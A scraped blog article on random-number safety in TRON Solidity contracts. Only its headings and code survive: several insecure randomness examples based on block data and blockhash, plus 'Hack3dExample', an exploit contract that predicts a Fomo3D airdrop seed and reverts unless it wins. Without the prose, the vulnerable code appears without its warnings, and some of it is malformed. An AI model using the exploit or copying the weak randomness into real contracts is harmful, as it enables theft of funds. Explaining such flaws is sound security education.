Safe Practice of TRON Solidity Smart Contracts: Implement Random Numbers in the Contracts

Introduction

Random numbers on blockchains

Difficulties to implement random numbers on a blockchain

Use public on chain data as random numbers

function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)

)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);

}
Interface IFomo3d {
function airDropTracker_() external returns (uint256);
function airDropPot_() external returns (uint256);
function withdraw() external;
}
Contract Hack3dExample {
constructor() public payable {
// link to f3d contract instance
IFomo3d fomo3d = IFomo3d (0xa);
// Calculate seed
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp) +
(block.difficulty) +
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) +
(block.gaslimit) +
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)) +
(block.number)
)));

uint256 tracker = fomo3d.airDropTracker_();
if((seed - ((seed / 1000) * 1000)) >= tracker) {
revert();
}
//do something to break fomo3d
selfdestruct(msg.sender);
}
}
function pickWinner() private {
address entropy1 = contestants[uint(block.coinbase) % totalTickets].addr;
address entropy2 = contestants[uint(msg.sender) % totalTickets].addr;
uint256 entropy3 = block.time;
bytes32 randHash = keccak256(entropy1 , entropy2 , entropy3 );

uint winningNumber = uint(randHash) % totalTickets;
address winningAddress = contestants[winningNumber].addr;
RaffleResult(raffleId, winningNumber, winningAddress, entropy1 , entropy2 , entropy3 , randHash);

// Start next raffle
raffleId++;
nextTicket = 0;
blockNumber = block.number;

// gaps.length = 0 isn't necessary here,
// because buyTickets() eventually clears
// the gaps array in the loop itself.

// Distribute prize and fee
winningAddress.transfer(prize);
feeAddress.transfer(fee);
}

BlockHash as a random number

function rand() public returns(uint256) {

uint256 random = uint256(keccak256(block.blockhash(block.number)));

return random%10;

}

Random number generation strategy based on hash-commit-reveal

Summary

References

For more information

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store